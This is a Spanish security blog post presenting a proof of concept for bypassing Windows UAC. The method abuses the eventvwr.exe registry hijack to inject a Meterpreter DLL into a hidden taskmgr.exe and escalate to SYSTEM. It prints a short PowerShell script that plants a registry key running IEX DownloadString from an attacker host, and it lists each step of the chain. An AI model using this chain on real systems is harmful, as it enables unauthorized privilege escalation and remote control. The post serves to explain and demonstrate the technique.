14 mayo, 2020

Bypass UAC usando DLL injection en taskmgr.exe aprovechando un fileless de eventvwr.exe (Vídeo PoC)

En un artículo anterior hablara de un bypass fileless en el binario sdclt.exe, también comentara la posibilidad de realizar este método al binario eventvwr.exe. En esta ocasión mostraré como realizar un bypass de UAC usando un DLL Injection aprovechando un método tipo fileless.

Bypass UAC tipo DLL Hijacking

Existen varios tipos de técnicas DLL Hijacking (sideloading, proxying, phantom), la finalidad es conseguir una escalda de privilegios o persistencia en un sistema. Consiste en hacer un "secuestro" de una DLL por la suplantación de otra DLL que ejecute un código arbitrario que le interese a un atacante. 

Cuando se invoca un proceso binario, este busca en los path por defecto configurados en el sistema en un determinado orden de consultas, si la DLL no es encontrada seguirá buscando en la siguiente ruta hasta encontrar la que necesita. Será en ese momento cuando un atacante se anticipe suplantando la DLL original, que no es encontrada en los paths habituales, por la DLL maliciosa. Si el binario se ejecuta en un contexto de integridad alto se consigue el mismo privilegio para esa DLL.

Es la misma idea que las técnicas fileless, teniendo en cuenta el atributo autoElevate a true en el manifest del binario y teniendo una política por defecto de UAC en Windows. 

DLL hijacking requiere escritura en disco por lo que no es tan silencioso como las técnicas fileless, pudiendo no pasar desapercibido por la detección de antivirus.

Como dije hay varios tipos de técnicas DLL hijacking, entre todas ellas está presente la inyección de una DLL, dependerá del contexto en el que se usen y la forma de aplicarlas. Una diferenciación podría ser algo como: 
  • DLL Hijacking: "Suplantación" -secuestro- de una carga DLL existente en el proceso de ejecución de un binario.
  • DLL Injection: Fuerza la inyección de una nueva DLL en el proceso de un binario ejecutándose.

Aprovechando un bypass UAC fileless para usar DLL injection en binarios que no son vulnerables a fileless

En el siguiente escenario no se realiza un DLL Hijacking, sino que se fuerza la inyección de una DLL maliciosa en un proceso binario existente.

Trataré de explicarlo brevemente. La intención es llevar a cabo una explotación local bypassuac sin ningún tipo de interacción por parte del usuario en la máquina comprometida aprovechando la debilidad fileless de casos como eventvwr.exe a otros binarios del sistema que tengan en su manifiesto el atributo AutoElevate a True pero que de forma simple no tienen un bypass tipo fileless, como es el caso de taskmgr.exe. Al ser un binario que se ejecuta en un contexto de integridad alto, se inyectará una DLL maliciosa que contendrá un payload con un Meterpreter estableciendo así una sesión privilegiada en la que podemos impersonar al usuario consiguiendo privilegios de NT AUTHORITY\SYSTEM.

Resumen de pasos del proceso:
  • 1. Para obtener la sesión inicial de conexión a la máquina remota, se crea con msfvenom un binario que tendrá como payload un Meterpreter Windows 10 x64. Esto nos devolverá una sesión en contexto de integridad medio por lo que no podemos impersonar al usuario con getsystem y elevarnos a SYSTEM.
  • 2. ¿Por qué el binario taskmgr.exe?. Comprobando el manifiesto del binario el atributo autoElevate está a true. Pero no existe bypass fileless para taskmgr.exe, sin embargo si para eventvwr.exe.
  • 3. Desde la sesión Meterpreter cargamos los módulo Powershell y desde powershell_run se ejecuta el proceso del taskmgr.exe en modo oculto (-WindowStyle Hidden).
  • 4. Se consulta el PID del proceso taskmgr.exe y se modifica en el script de la función Invoke-DllInjection alojada en un servidor web apache2 de la máquina Kali, este será el script que se ejecutará cuando se invoque el binario eventvwr.exe.
  • 5. Desde powershell_import importamos el un script "eventvwr-reg.ps1" que creará la estructura de ramas del registro necesario para provocar el bypass fileless de eventvwr.exe, en su valor Default tendrá como dato un IEX (Invoke-Expression) con la creación de un nuevo objeto tipo WebClient que descargará en memoria la función Invoke-DllInjeciton de PowerSploit en una línea final del script se invoca esta función con el PID del proceso de taskmgr.exe que previamente hardcodeamos.
Script eventvwr-reg.ps1
$path = "HKCU:\Software\Classes\mscfile\shell\open\command"
$execute = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c `"IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.1/codes/invoke-dllinjection.txt')`""
New-Item -Path $path -Force
New-ItemProperty -Path $path -Name '(Default)' -PropertyType String -Value $execute -Force | Out-Null
  • 6. Desde Meterpreter con el comando Upload se envía la DLL que nos interesa a la máquina remota (en escritorio simplemente para que sea visible en momento de mostrar esta demo). Esta DLL contiene un shellcode de Meterpreter.
  • 7. Siguiendo en la sesión 1, desde powershell_shell manualmente se inicia el proceso del visor de eventos, ejecutando así el eventvwr.exe que también ejecutará el IEX y descargará la función en memoria con la instrucción del PID asignado del proceso taskmgr.exe ejecutado anteriormente de forma oculta.
  • 8. Finalmente se establecerá una nueva sesión Meterpreter pero esta vez la sesión establecida en el contexto de integridad alto del proceso de taskmgr.exe, como este tenía un autoElevate a true, podremos ahora impersonar al usuario en la segunda sesión Meterpreter y conseguir la escalada de privilegios a SYSTEM.

Vídeo demo - PoC

En el siguiente vídeo se muestran los pasos anteriores en detalle, llegando a entender mejor el proceso.



Saludos!

No hay comentarios:

Publicar un comentario